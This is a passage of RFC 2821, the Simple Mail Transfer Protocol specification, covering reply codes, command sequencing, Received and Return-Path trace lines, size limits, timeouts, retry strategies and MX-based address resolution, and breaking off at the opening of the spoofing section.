+ particular non-standard command; this reply is useful only + to the human user) + + + + +Klensin Standards Track [Page 44] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + 220 Service ready + 221 Service closing transmission channel + 421 Service not available, closing transmission channel + (This may be a reply to any command if the service knows it + must shut down) + + 250 Requested mail action okay, completed + 251 User not local; will forward to + (See section 3.4) + 252 Cannot VRFY user, but will accept message and attempt + delivery + (See section 3.5.3) + 450 Requested mail action not taken: mailbox unavailable + (e.g., mailbox busy) + 550 Requested action not taken: mailbox unavailable + (e.g., mailbox not found, no access, or command rejected + for policy reasons) + 451 Requested action aborted: error in processing + 551 User not local; please try + (See section 3.4) + 452 Requested action not taken: insufficient system storage + 552 Requested mail action aborted: exceeded storage allocation + 553 Requested action not taken: mailbox name not allowed + (e.g., mailbox syntax incorrect) + 354 Start mail input; end with . + 554 Transaction failed (Or, in the case of a connection-opening + response, "No SMTP service here") + +4.2.3 Reply Codes in Numeric Order + + 211 System status, or system help reply + 214 Help message + (Information on how to use the receiver or the meaning of a + particular non-standard command; this reply is useful only + to the human user) + 220 Service ready + 221 Service closing transmission channel + 250 Requested mail action okay, completed + 251 User not local; will forward to + (See section 3.4) + 252 Cannot VRFY user, but will accept message and attempt + delivery + (See section 3.5.3) + + 354 Start mail input; end with . + + + + + + +Klensin Standards Track [Page 45] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + 421 Service not available, closing transmission channel + (This may be a reply to any command if the service knows it + must shut down) + 450 Requested mail action not taken: mailbox unavailable + (e.g., mailbox busy) + 451 Requested action aborted: local error in processing + 452 Requested action not taken: insufficient system storage + 500 Syntax error, command unrecognized + (This may include errors such as command line too long) + 501 Syntax error in parameters or arguments + 502 Command not implemented (see section 4.2.4) + 503 Bad sequence of commands + 504 Command parameter not implemented + 550 Requested action not taken: mailbox unavailable + (e.g., mailbox not found, no access, or command rejected + for policy reasons) + 551 User not local; please try + (See section 3.4) + 552 Requested mail action aborted: exceeded storage allocation + 553 Requested action not taken: mailbox name not allowed + (e.g., mailbox syntax incorrect) + 554 Transaction failed (Or, in the case of a connection-opening + response, "No SMTP service here") + +4.2.4 Reply Code 502 + + Questions have been raised as to when reply code 502 (Command not + implemented) SHOULD be returned in preference to other codes. 502 + SHOULD be used when the command is actually recognized by the SMTP + server, but not implemented. If the command is not recognized, code + 500 SHOULD be returned. Extended SMTP systems MUST NOT list + capabilities in response to EHLO for which they will return 502 (or + 500) replies. + +4.2.5 Reply Codes After DATA and the Subsequent . + + When an SMTP server returns a positive completion status (2yz code) + after the DATA command is completed with ., it accepts + responsibility for: + + - delivering the message (if the recipient mailbox exists), or + + - if attempts to deliver the message fail due to transient + conditions, retrying delivery some reasonable number of times at + intervals as specified in section 4.5.4. + + + + + + +Klensin Standards Track [Page 46] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + - if attempts to deliver the message fail due to permanent + conditions, or if repeated attempts to deliver the message fail + due to transient conditions, returning appropriate notification to + the sender of the original message (using the address in the SMTP + MAIL command). + + When an SMTP server returns a permanent error status (5yz) code after + the DATA command is completed with ., it MUST NOT make + any subsequent attempt to deliver that message. The SMTP client + retains responsibility for delivery of that message and may either + return it to the user or requeue it for a subsequent attempt (see + section 4.5.4.1). + + The user who originated the message SHOULD be able to interpret the + return of a transient failure status (by mail message or otherwise) + as a non-delivery indication, just as a permanent failure would be + interpreted. I.e., if the client SMTP successfully handles these + conditions, the user will not receive such a reply. + + When an SMTP server returns a permanent error status (5yz) code after + the DATA command is completely with ., it MUST NOT make + any subsequent attempt to deliver the message. As with temporary + error status codes, the SMTP client retains responsibility for the + message, but SHOULD not again attempt delivery to the same server + without user review and intervention of the message. + +4.3 Sequencing of Commands and Replies + +4.3.1 Sequencing Overview + + The communication between the sender and receiver is an alternating + dialogue, controlled by the sender. As such, the sender issues a + command and the receiver responds with a reply. Unless other + arrangements are negotiated through service extensions, the sender + MUST wait for this response before sending further commands. + + One important reply is the connection greeting. Normally, a receiver + will send a 220 "Service ready" reply when the connection is + completed. The sender SHOULD wait for this greeting message before + sending any commands. + + Note: all the greeting-type replies have the official name (the + fully-qualified primary domain name) of the server host as the first + word following the reply code. Sometimes the host will have no + meaningful name. See 4.1.3 for a discussion of alternatives in these + situations. + + + + + +Klensin Standards Track [Page 47] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + For example, + + 220 ISIF.USC.EDU Service ready + or + 220 mail.foo.com SuperSMTP v 6.1.2 Service ready + or + 220 [10.0.0.1] Clueless host service ready + + The table below lists alternative success and failure replies for + each command. These SHOULD be strictly adhered to: a receiver may + substitute text in the replies, but the meaning and action implied by + the code numbers and by the specific command reply sequence cannot be + altered. + +4.3.2 Command-Reply Sequences + + Each command is listed with its usual possible replies. The prefixes + used before the possible replies are "I" for intermediate, "S" for + success, and "E" for error. Since some servers may generate other + replies under special circumstances, and to allow for future + extension, SMTP clients SHOULD, when possible, interpret only the + first digit of the reply and MUST be prepared to deal with + unrecognized reply codes by interpreting the first digit only. + Unless extended using the mechanisms described in section 2.2, SMTP + servers MUST NOT transmit reply codes to an SMTP client that are + other than three digits or that do not start in a digit between 2 and + 5 inclusive. + + These sequencing rules and, in principle, the codes themselves, can + be extended or modified by SMTP extensions offered by the server and + accepted (requested) by the client. + + In addition to the codes listed below, any SMTP command can return + any of the following codes if the corresponding unusual circumstances + are encountered: + + 500 For the "command line too long" case or if the command name was + not recognized. Note that producing a "command not recognized" + error in response to the required subset of these commands is a + violation of this specification. + + 501 Syntax error in command or arguments. In order to provide for + future extensions, commands that are specified in this document as + not accepting arguments (DATA, RSET, QUIT) SHOULD return a 501 + message if arguments are supplied in the absence of EHLO- + advertised extensions. + + 421 Service shutting down and closing transmission channel + + + +Klensin Standards Track [Page 48] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + Specific sequences are: + + CONNECTION ESTABLISHMENT + S: 220 + E: 554 + EHLO or HELO + S: 250 + E: 504, 550 + MAIL + S: 250 + E: 552, 451, 452, 550, 553, 503 + RCPT + S: 250, 251 (but see section 3.4 for discussion of 251 and 551) + E: 550, 551, 552, 553, 450, 451, 452, 503, 550 + DATA + I: 354 -> data -> S: 250 + E: 552, 554, 451, 452 + E: 451, 554, 503 + RSET + S: 250 + VRFY + S: 250, 251, 252 + E: 550, 551, 553, 502, 504 + EXPN + S: 250, 252 + E: 550, 500, 502, 504 + HELP + S: 211, 214 + E: 502, 504 + NOOP + S: 250 + QUIT + S: 221 + +4.4 Trace Information + + When an SMTP server receives a message for delivery or further + processing, it MUST insert trace ("time stamp" or "Received") + information at the beginning of the message content, as discussed in + section 4.1.1.4. + + This line MUST be structured as follows: + + - The FROM field, which MUST be supplied in an SMTP environment, + SHOULD contain both (1) the name of the source host as presented + in the EHLO command and (2) an address literal containing the IP + address of the source, determined from the TCP connection. + + + + +Klensin Standards Track [Page 49] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + - The ID field MAY contain an "@" as suggested in RFC 822, but this + is not required. + + - The FOR field MAY contain a list of entries when multiple + RCPT commands have been given. This may raise some security + issues and is usually not desirable; see section 7.2. + + An Internet mail program MUST NOT change a Received: line that was + previously added to the message header. SMTP servers MUST prepend + Received lines to messages; they MUST NOT change the order of + existing lines or insert Received lines in any other location. + + As the Internet grows, comparability of Received fields is important + for detecting problems, especially slow relays. SMTP servers that + create Received fields SHOULD use explicit offsets in the dates + (e.g., -0800), rather than time zone names of any type. Local time + (with an offset) is preferred to UT when feasible. This formulation + allows slightly more information about local circumstances to be + specified. If UT is needed, the receiver need merely do some simple + arithmetic to convert the values. Use of UT loses information about + the time zone-location of the server. If it is desired to supply a + time zone name, it SHOULD be included in a comment. + + When the delivery SMTP server makes the "final delivery" of a + message, it inserts a return-path line at the beginning of the mail + data. This use of return-path is required; mail systems MUST support + it. The return-path line preserves the information in the from the MAIL command. Here, final delivery means the message + has left the SMTP environment. Normally, this would mean it had been + delivered to the destination user or an associated mail drop, but in + some cases it may be further processed and transmitted by another + mail system. + + It is possible for the mailbox in the return path to be different + from the actual sender's mailbox, for example, if error responses are + to be delivered to a special error handling mailbox rather than to + the message sender. When mailing lists are involved, this + arrangement is common and useful as a means of directing errors to + the list maintainer rather than the message originator. + + The text above implies that the final mail data will begin with a + return path line, followed by one or more time stamp lines. These + lines will be followed by the mail data headers and body [32]. + + It is sometimes difficult for an SMTP server to determine whether or + not it is making final delivery since forwarding or other operations + may occur after the message is accepted for delivery. Consequently, + + + + +Klensin Standards Track [Page 50] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + any further (forwarding, gateway, or relay) systems MAY remove the + return path and rebuild the MAIL command as needed to ensure that + exactly one such line appears in a delivered message. + + A message-originating SMTP system SHOULD NOT send a message that + already contains a Return-path header. SMTP servers performing a + relay function MUST NOT inspect the message data, and especially not + to the extent needed to determine if Return-path headers are present. + SMTP servers making final delivery MAY remove Return-path headers + before adding their own. + + The primary purpose of the Return-path is to designate the address to + which messages indicating non-delivery or other mail system failures + are to be sent. For this to be unambiguous, exactly one return path + SHOULD be present when the message is delivered. Systems using RFC + 822 syntax with non-SMTP transports SHOULD designate an unambiguous + address, associated with the transport envelope, to which error + reports (e.g., non-delivery messages) should be sent. + + Historical note: Text in RFC 822 that appears to contradict the use + of the Return-path header (or the envelope reverse path address from + the MAIL command) as the destination for error messages is not + applicable on the Internet. The reverse path address (as copied into + the Return-path) MUST be used as the target of any mail containing + delivery error messages. + + In particular: + + - a gateway from SMTP->elsewhere SHOULD insert a return-path header, + unless it is known that the "elsewhere" transport also uses + Internet domain addresses and maintains the envelope sender + address separately. + + - a gateway from elsewhere->SMTP SHOULD delete any return-path + header present in the message, and either copy that information to + the SMTP envelope or combine it with information present in the + envelope of the other transport system to construct the reverse + path argument to the MAIL command in the SMTP envelope. + + The server must give special treatment to cases in which the + processing following the end of mail data indication is only + partially successful. This could happen if, after accepting several + recipients and the mail data, the SMTP server finds that the mail + data could be successfully delivered to some, but not all, of the + recipients. In such cases, the response to the DATA command MUST be + an OK reply. However, the SMTP server MUST compose and send an + "undeliverable mail" notification message to the originator of the + message. + + + +Klensin Standards Track [Page 51] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + A single notification listing all of the failed recipients or + separate notification messages MUST be sent for each failed + recipient. For economy of processing by the sender, the former is + preferred when possible. All undeliverable mail notification + messages are sent using the MAIL command (even if they result from + processing the obsolete SEND, SOML, or SAML commands) and use a null + return path as discussed in section 3.7. + + The time stamp line and the return path line are formally defined as + follows: + +Return-path-line = "Return-Path:" FWS Reverse-path + +Time-stamp-line = "Received:" FWS Stamp + +Stamp = From-domain By-domain Opt-info ";" FWS date-time + + ; where "date-time" is as defined in [32] + ; but the "obs-" forms, especially two-digit + ; years, are prohibited in SMTP and MUST NOT be used. + +From-domain = "FROM" FWS Extended-Domain CFWS + +By-domain = "BY" FWS Extended-Domain CFWS + +Extended-Domain = Domain / + ( Domain FWS "(" TCP-info ")" ) / + ( Address-literal FWS "(" TCP-info ")" ) + +TCP-info = Address-literal / ( Domain FWS Address-literal ) + ; Information derived by server from TCP connection + ; not client EHLO. + +Opt-info = [Via] [With] [ID] [For] + +Via = "VIA" FWS Link CFWS + +With = "WITH" FWS Protocol CFWS + +ID = "ID" FWS String / msg-id CFWS + +For = "FOR" FWS 1*( Path / Mailbox ) CFWS + +Link = "TCP" / Addtl-Link +Addtl-Link = Atom + ; Additional standard names for links are registered with the + ; Internet Assigned Numbers Authority (IANA). "Via" is + ; primarily of value with non-Internet transports. SMTP + + + +Klensin Standards Track [Page 52] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + ; servers SHOULD NOT use unregistered names. +Protocol = "ESMTP" / "SMTP" / Attdl-Protocol +Attdl-Protocol = Atom + ; Additional standard names for protocols are registered with the + ; Internet Assigned Numbers Authority (IANA). SMTP servers + ; SHOULD NOT use unregistered names. + +4.5 Additional Implementation Issues + +4.5.1 Minimum Implementation + + In order to make SMTP workable, the following minimum implementation + is required for all receivers. The following commands MUST be + supported to conform to this specification: + + EHLO + HELO + MAIL + RCPT + DATA + RSET + NOOP + QUIT + VRFY + + Any system that includes an SMTP server supporting mail relaying or + delivery MUST support the reserved mailbox "postmaster" as a case- + insensitive local name. This postmaster address is not strictly + necessary if the server always returns 554 on connection opening (as + described in section 3.1). The requirement to accept mail for + postmaster implies that RCPT commands which specify a mailbox for + postmaster at any of the domains for which the SMTP server provides + mail service, as well as the special case of "RCPT TO:" + (with no domain specification), MUST be supported. + + SMTP systems are expected to make every reasonable effort to accept + mail directed to Postmaster from any other system on the Internet. + In extreme cases --such as to contain a denial of service attack or + other breach of security-- an SMTP server may block mail directed to + Postmaster. However, such arrangements SHOULD be narrowly tailored + so as to avoid blocking messages which are not part of such attacks. + +4.5.2 Transparency + + Without some provision for data transparency, the character sequence + "." ends the mail text and cannot be sent by the user. + In general, users are not aware of such "forbidden" sequences. To + + + + +Klensin Standards Track [Page 53] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + allow all user composed text to be transmitted transparently, the + following procedures are used: + + - Before sending a line of mail text, the SMTP client checks the + first character of the line. If it is a period, one additional + period is inserted at the beginning of the line. + + - When a line of mail text is received by the SMTP server, it checks + the line. If the line is composed of a single period, it is + treated as the end of mail indicator. If the first character is a + period and there are other characters on the line, the first + character is deleted. + + The mail data may contain any of the 128 ASCII characters. All + characters are to be delivered to the recipient's mailbox, including + spaces, vertical and horizontal tabs, and other control characters. + If the transmission channel provides an 8-bit byte (octet) data + stream, the 7-bit ASCII codes are transmitted right justified in the + octets, with the high order bits cleared to zero. See 3.7 for + special treatment of these conditions in SMTP systems serving a relay + function. + + In some systems it may be necessary to transform the data as it is + received and stored. This may be necessary for hosts that use a + different character set than ASCII as their local character set, that + store data in records rather than strings, or which use special + character sequences as delimiters inside mailboxes. If such + transformations are necessary, they MUST be reversible, especially if + they are applied to mail being relayed. + +4.5.3 Sizes and Timeouts + +4.5.3.1 Size limits and minimums + + There are several objects that have required minimum/maximum sizes. + Every implementation MUST be able to receive objects of at least + these sizes. Objects larger than these sizes SHOULD be avoided when + possible. However, some Internet mail constructs such as encoded + X.400 addresses [16] will often require larger objects: clients MAY + attempt to transmit these, but MUST be prepared for a server to + reject them if they cannot be handled by it. To the maximum extent + possible, implementation techniques which impose no limits on the + length of these objects should be used. + + local-part + The maximum total length of a user name or other local-part is 64 + characters. + + + + +Klensin Standards Track [Page 54] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + domain + The maximum total length of a domain name or number is 255 + characters. + + path + The maximum total length of a reverse-path or forward-path is 256 + characters (including the punctuation and element separators). + + command line + The maximum total length of a command line including the command + word and the is 512 characters. SMTP extensions may be + used to increase this limit. + + reply line + The maximum total length of a reply line including the reply code + and the is 512 characters. More information may be + conveyed through multiple-line replies. + + text line + The maximum total length of a text line including the is + 1000 characters (not counting the leading dot duplicated for + transparency). This number may be increased by the use of SMTP + Service Extensions. + + message content + The maximum total length of a message content (including any + message headers as well as the message body) MUST BE at least 64K + octets. Since the introduction of Internet standards for + multimedia mail [12], message lengths on the Internet have grown + dramatically, and message size restrictions should be avoided if + at all possible. SMTP server systems that must impose + restrictions SHOULD implement the "SIZE" service extension [18], + and SMTP client systems that will send large messages SHOULD + utilize it when possible. + + recipients buffer + The minimum total number of recipients that must be buffered is + 100 recipients. Rejection of messages (for excessive recipients) + with fewer than 100 RCPT commands is a violation of this + specification. The general principle that relaying SMTP servers + MUST NOT, and delivery SMTP servers SHOULD NOT, perform validation + tests on message headers suggests that rejecting a message based + on the total number of recipients shown in header fields is to be + discouraged. A server which imposes a limit on the number of + recipients MUST behave in an orderly fashion, such as to reject + additional addresses over its limit rather than silently + discarding addresses previously accepted. A client that needs to + + + + +Klensin Standards Track [Page 55] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + deliver a message containing over 100 RCPT commands SHOULD be + prepared to transmit in 100-recipient "chunks" if the server + declines to accept more than 100 recipients in a single message. + + Errors due to exceeding these limits may be reported by using the + reply codes. Some examples of reply codes are: + + 500 Line too long. + or + 501 Path too long + or + 452 Too many recipients (see below) + or + 552 Too much mail data. + + RFC 821 [30] incorrectly listed the error where an SMTP server + exhausts its implementation limit on the number of RCPT commands + ("too many recipients") as having reply code 552. The correct reply + code for this condition is 452. Clients SHOULD treat a 552 code in + this case as a temporary, rather than permanent, failure so the logic + below works. + + When a conforming SMTP server encounters this condition, it has at + least 100 successful RCPT commands in its recipients buffer. If the + server is able to accept the message, then at least these 100 + addresses will be removed from the SMTP client's queue. When the + client attempts retransmission of those addresses which received 452 + responses, at least 100 of these will be able to fit in the SMTP + server's recipients buffer. Each retransmission attempt which is + able to deliver anything will be able to dispose of at least 100 of + these recipients. + + If an SMTP server has an implementation limit on the number of RCPT + commands and this limit is exhausted, it MUST use a response code of + 452 (but the client SHOULD also be prepared for a 552, as noted + above). If the server has a configured site-policy limitation on the + number of RCPT commands, it MAY instead use a 5XX response code. + This would be most appropriate if the policy limitation was intended + to apply if the total recipient count for a particular message body + were enforced even if that message body was sent in multiple mail + transactions. + +4.5.3.2 Timeouts + + An SMTP client MUST provide a timeout mechanism. It MUST use per- + command timeouts rather than somehow trying to time the entire mail + transaction. Timeouts SHOULD be easily reconfigurable, preferably + without recompiling the SMTP code. To implement this, a timer is set + + + +Klensin Standards Track [Page 56] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + for each SMTP command and for each buffer of the data transfer. The + latter means that the overall timeout is inherently proportional to + the size of the message. + + Based on extensive experience with busy mail-relay hosts, the minimum + per-command timeout values SHOULD be as follows: + + Initial 220 Message: 5 minutes + An SMTP client process needs to distinguish between a failed TCP + connection and a delay in receiving the initial 220 greeting + message. Many SMTP servers accept a TCP connection but delay + delivery of the 220 message until their system load permits more + mail to be processed. + + MAIL Command: 5 minutes + + RCPT Command: 5 minutes + A longer timeout is required if processing of mailing lists and + aliases is not deferred until after the message was accepted. + + DATA Initiation: 2 minutes + This is while awaiting the "354 Start Input" reply to a DATA + command. + + Data Block: 3 minutes + This is while awaiting the completion of each TCP SEND call + transmitting a chunk of data. + + DATA Termination: 10 minutes. + This is while awaiting the "250 OK" reply. When the receiver gets + the final period terminating the message data, it typically + performs processing to deliver the message to a user mailbox. A + spurious timeout at this point would be very wasteful and would + typically result in delivery of multiple copies of the message, + since it has been successfully sent and the server has accepted + responsibility for delivery. See section 6.1 for additional + discussion. + + An SMTP server SHOULD have a timeout of at least 5 minutes while it + is awaiting the next command from the sender. + +4.5.4 Retry Strategies + + The common structure of a host SMTP implementation includes user + mailboxes, one or more areas for queuing messages in transit, and one + or more daemon processes for sending and receiving mail. The exact + structure will vary depending on the needs of the users on the host + + + + +Klensin Standards Track [Page 57] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + and the number and size of mailing lists supported by the host. We + describe several optimizations that have proved helpful, particularly + for mailers supporting high traffic levels. + + Any queuing strategy MUST include timeouts on all activities on a + per-command basis. A queuing strategy MUST NOT send error messages + in response to error messages under any circumstances. + +4.5.4.1 Sending Strategy + + The general model for an SMTP client is one or more processes that + periodically attempt to transmit outgoing mail. In a typical system, + the program that composes a message has some method for requesting + immediate attention for a new piece of outgoing mail, while mail that + cannot be transmitted immediately MUST be queued and periodically + retried by the sender. A mail queue entry will include not only the + message itself but also the envelope information. + + The sender MUST delay retrying a particular destination after one + attempt has failed. In general, the retry interval SHOULD be at + least 30 minutes; however, more sophisticated and variable strategies + will be beneficial when the SMTP client can determine the reason for + non-delivery. + + Retries continue until the message is transmitted or the sender gives + up; the give-up time generally needs to be at least 4-5 days. The + parameters to the retry algorithm MUST be configurable. + + A client SHOULD keep a list of hosts it cannot reach and + corresponding connection timeouts, rather than just retrying queued + mail items. + + Experience suggests that failures are typically transient (the target + system or its connection has crashed), favoring a policy of two + connection attempts in the first hour the message is in the queue, + and then backing off to one every two or three hours. + + The SMTP client can shorten the queuing delay in cooperation with the + SMTP server. For example, if mail is received from a particular + address, it is likely that mail queued for that host can now be sent. + Application of this principle may, in many cases, eliminate the + requirement for an explicit "send queues now" function such as ETRN + [9]. + + The strategy may be further modified as a result of multiple + addresses per host (see below) to optimize delivery time vs. resource + usage. + + + + +Klensin Standards Track [Page 58] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + An SMTP client may have a large queue of messages for each + unavailable destination host. If all of these messages were retried + in every retry cycle, there would be excessive Internet overhead and + the sending system would be blocked for a long period. Note that an + SMTP client can generally determine that a delivery attempt has + failed only after a timeout of several minutes and even a one-minute + timeout per connection will result in a very large delay if retries + are repeated for dozens, or even hundreds, of queued messages to the + same host. + + At the same time, SMTP clients SHOULD use great care in caching + negative responses from servers. In an extreme case, if EHLO is + issued multiple times during the same SMTP connection, different + answers may be returned by the server. More significantly, 5yz + responses to the MAIL command MUST NOT be cached. + + When a mail message is to be delivered to multiple recipients, and + the SMTP server to which a copy of the message is to be sent is the + same for multiple recipients, then only one copy of the message + SHOULD be transmitted. That is, the SMTP client SHOULD use the + command sequence: MAIL, RCPT, RCPT,... RCPT, DATA instead of the + sequence: MAIL, RCPT, DATA, ..., MAIL, RCPT, DATA. However, if there + are very many addresses, a limit on the number of RCPT commands per + MAIL command MAY be imposed. Implementation of this efficiency + feature is strongly encouraged. + + Similarly, to achieve timely delivery, the SMTP client MAY support + multiple concurrent outgoing mail transactions. However, some limit + may be appropriate to protect the host from devoting all its + resources to mail. + +4.5.4.2 Receiving Strategy + + The SMTP server SHOULD attempt to keep a pending listen on the SMTP + port at all times. This requires the support of multiple incoming + TCP connections for SMTP. Some limit MAY be imposed but servers that + cannot handle more than one SMTP transaction at a time are not in + conformance with the intent of this specification. + + As discussed above, when the SMTP server receives mail from a + particular host address, it could activate its own SMTP queuing + mechanisms to retry any mail pending for that host address. + +4.5.5 Messages with a null reverse-path + + There are several types of notification messages which are required + by existing and proposed standards to be sent with a null reverse + path, namely non-delivery notifications as discussed in section 3.7, + + + +Klensin Standards Track [Page 59] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + other kinds of Delivery Status Notifications (DSNs) [24], and also + Message Disposition Notifications (MDNs) [10]. All of these kinds of + messages are notifications about a previous message, and they are + sent to the reverse-path of the previous mail message. (If the + delivery of such a notification message fails, that usually indicates + a problem with the mail system of the host to which the notification + message is addressed. For this reason, at some hosts the MTA is set + up to forward such failed notification messages to someone who is + able to fix problems with the mail system, e.g., via the postmaster + alias.) + + All other types of messages (i.e., any message which is not required + by a standards-track RFC to have a null reverse-path) SHOULD be sent + with with a valid, non-null reverse-path. + + Implementors of automated email processors should be careful to make + sure that the various kinds of messages with null reverse-path are + handled correctly, in particular such systems SHOULD NOT reply to + messages with null reverse-path. + +5. Address Resolution and Mail Handling + + Once an SMTP client lexically identifies a domain to which mail will + be delivered for processing (as described in sections 3.6 and 3.7), a + DNS lookup MUST be performed to resolve the domain name [22]. The + names are expected to be fully-qualified domain names (FQDNs): + mechanisms for inferring FQDNs from partial names or local aliases + are outside of this specification and, due to a history of problems, + are generally discouraged. The lookup first attempts to locate an MX + record associated with the name. If a CNAME record is found instead, + the resulting name is processed as if it were the initial name. If + no MX records are found, but an A RR is found, the A RR is treated as + if it was associated with an implicit MX RR, with a preference of 0, + pointing to that host. If one or more MX RRs are found for a given + name, SMTP systems MUST NOT utilize any A RRs associated with that + name unless they are located using the MX RRs; the "implicit MX" rule + above applies only if there are no MX records present. If MX records + are present, but none of them are usable, this situation MUST be + reported as an error. + + When the lookup succeeds, the mapping can result in a list of + alternative delivery addresses rather than a single address, because + of multiple MX records, multihoming, or both. To provide reliable + mail transmission, the SMTP client MUST be able to try (and retry) + each of the relevant addresses in this list in order, until a + delivery attempt succeeds. However, there MAY also be a configurable + limit on the number of alternate addresses that can be tried. In any + case, the SMTP client SHOULD try at least two addresses. + + + +Klensin Standards Track [Page 60] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + Two types of information is used to rank the host addresses: multiple + MX records, and multihomed hosts. + + Multiple MX records contain a preference indication that MUST be used + in sorting (see below). Lower numbers are more preferred than higher + ones. If there are multiple destinations with the same preference + and there is no clear reason to favor one (e.g., by recognition of an + easily-reached address), then the sender-SMTP MUST randomize them to + spread the load across multiple mail exchangers for a specific + organization. + + The destination host (perhaps taken from the preferred MX record) may + be multihomed, in which case the domain name resolver will return a + list of alternative IP addresses. It is the responsibility of the + domain name resolver interface to have ordered this list by + decreasing preference if necessary, and SMTP MUST try them in the + order presented. + + Although the capability to try multiple alternative addresses is + required, specific installations may want to limit or disable the use + of alternative addresses. The question of whether a sender should + attempt retries using the different addresses of a multihomed host + has been controversial. The main argument for using the multiple + addresses is that it maximizes the probability of timely delivery, + and indeed sometimes the probability of any delivery; the counter- + argument is that it may result in unnecessary resource use. Note + that resource use is also strongly determined by the sending strategy + discussed in section 4.5.4.1. + + If an SMTP server receives a message with a destination for which it + is a designated Mail eXchanger, it MAY relay the message (potentially + after having rewritten the MAIL FROM and/or RCPT TO addresses), make + final delivery of the message, or hand it off using some mechanism + outside the SMTP-provided transport environment. Of course, neither + of the latter require that the list of MX records be examined + further. + + If it determines that it should relay the message without rewriting + the address, it MUST sort the MX records to determine candidates for + delivery. The records are first ordered by preference, with the + lowest-numbered records being most preferred. The relay host MUST + then inspect the list for any of the names or addresses by which it + might be known in mail transactions. If a matching record is found, + all records at that preference level and higher-numbered ones MUST be + discarded from consideration. If there are no records left at that + point, it is an error condition, and the message MUST be returned as + undeliverable. If records do remain, they SHOULD be tried, best + preference first, as described above. + + + +Klensin Standards Track [Page 61] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + +6. Problem Detection and Handling + +6.1 Reliable Delivery and Replies by Email + + When the receiver-SMTP accepts a piece of mail (by sending a "250 OK" + message in response to DATA), it is accepting responsibility for + delivering or relaying the message. It must take this responsibility + seriously. It MUST NOT lose the message for frivolous reasons, such + as because the host later crashes or because of a predictable + resource shortage. + + If there is a delivery failure after acceptance of a message, the + receiver-SMTP MUST formulate and mail a notification message. This + notification MUST be sent using a null ("<>") reverse path in the + envelope. The recipient of this notification MUST be the address + from the envelope return path (or the Return-Path: line). However, + if this address is null ("<>"), the receiver-SMTP MUST NOT send a + notification. Obviously, nothing in this section can or should + prohibit local decisions (i.e., as part of the same system + environment as the receiver-SMTP) to log or otherwise transmit + information about null address events locally if that is desired. If + the address is an explicit source route, it MUST be stripped down to + its final hop. + + For example, suppose that an error notification must be sent for a + message that arrived with: + + MAIL FROM:<@a,@b:user@d> + + The notification message MUST be sent using: + + RCPT TO: + + Some delivery failures after the message is accepted by SMTP will be + unavoidable. For example, it may be impossible for the receiving + SMTP server to validate all the delivery addresses in RCPT command(s) + due to a "soft" domain system error, because the target is a mailing + list (see earlier discussion of RCPT), or because the server is + acting as a relay and has no immediate access to the delivering + system. + + To avoid receiving duplicate messages as the result of timeouts, a + receiver-SMTP MUST seek to minimize the time required to respond to + the final . end of data indicator. See RFC 1047 [28] for + a discussion of this problem. + + + + + + +Klensin Standards Track [Page 62] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + +6.2 Loop Detection + + Simple counting of the number of "Received:" headers in a message has + proven to be an effective, although rarely optimal, method of + detecting loops in mail systems. SMTP servers using this technique + SHOULD use a large rejection threshold, normally at least 100 + Received entries. Whatever mechanisms are used, servers MUST contain + provisions for detecting and stopping trivial loops. + +6.3 Compensating for Irregularities + + Unfortunately, variations, creative interpretations, and outright + violations of Internet mail protocols do occur; some would suggest + that they occur quite frequently. The debate as to whether a well- + behaved SMTP receiver or relay should reject a malformed message, + attempt to pass it on unchanged, or attempt to repair it to increase + the odds of successful delivery (or subsequent reply) began almost + with the dawn of structured network mail and shows no signs of + abating. Advocates of rejection claim that attempted repairs are + rarely completely adequate and that rejection of bad messages is the + only way to get the offending software repaired. Advocates of + "repair" or "deliver no matter what" argue that users prefer that + mail go through it if at all possible and that there are significant + market pressures in that direction. In practice, these market + pressures may be more important to particular vendors than strict + conformance to the standards, regardless of the preference of the + actual developers. + + The problems associated with ill-formed messages were exacerbated by + the introduction of the split-UA mail reading protocols [3, 26, 5, + 21]. These protocols have encouraged the use of SMTP as a posting + protocol, and SMTP servers as relay systems for these client hosts + (which are often only intermittently connected to the Internet). + Historically, many of those client machines lacked some of the + mechanisms and information assumed by SMTP (and indeed, by the mail + format protocol [7]). Some could not keep adequate track of time; + others had no concept of time zones; still others could not identify + their own names or addresses; and, of course, none could satisfy the + assumptions that underlay RFC 822's conception of authenticated + addresses. + + In response to these weak SMTP clients, many SMTP systems now + complete messages that are delivered to them in incomplete or + incorrect form. This strategy is generally considered appropriate + when the server can identify or authenticate the client, and there + are prior agreements between them. By contrast, there is at best + great concern about fixes applied by a relay or delivery SMTP server + that has little or no knowledge of the user or client machine. + + + +Klensin Standards Track [Page 63] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + The following changes to a message being processed MAY be applied + when necessary by an originating SMTP server, or one used as the + target of SMTP as an initial posting protocol: + + - Addition of a message-id field when none appears + + - Addition of a date, time or time zone when none appears + + - Correction of addresses to proper FQDN format + + The less information the server has about the client, the less likely + these changes are to be correct and the more caution and conservatism + should be applied when considering whether or not to perform fixes + and how. These changes MUST NOT be applied by an SMTP server that + provides an intermediate relay function. + + In all cases, properly-operating clients supplying correct + information are preferred to corrections by the SMTP server. In all + cases, documentation of actions performed by the servers (in trace + fields and/or header comments) is strongly encouraged. + +7. Security Considerations + +7.1 Mail Security and Spoofing + + SMTP mail is inherently insecure in that it is feasible for even + fairly casual users to negotiate directly with receiving and relaying + SMTP servers and create messages that will trick a naive recipient + into believing that they came from somewhere else. Constructing such + a message so that the "spoofed" behavior cannot be detected by an + expert is somewhat more difficult, but not sufficiently so as to be a + deterrent to someone who is determined and knowledgeable. + Consequently, as knowledge of Internet mail increases, 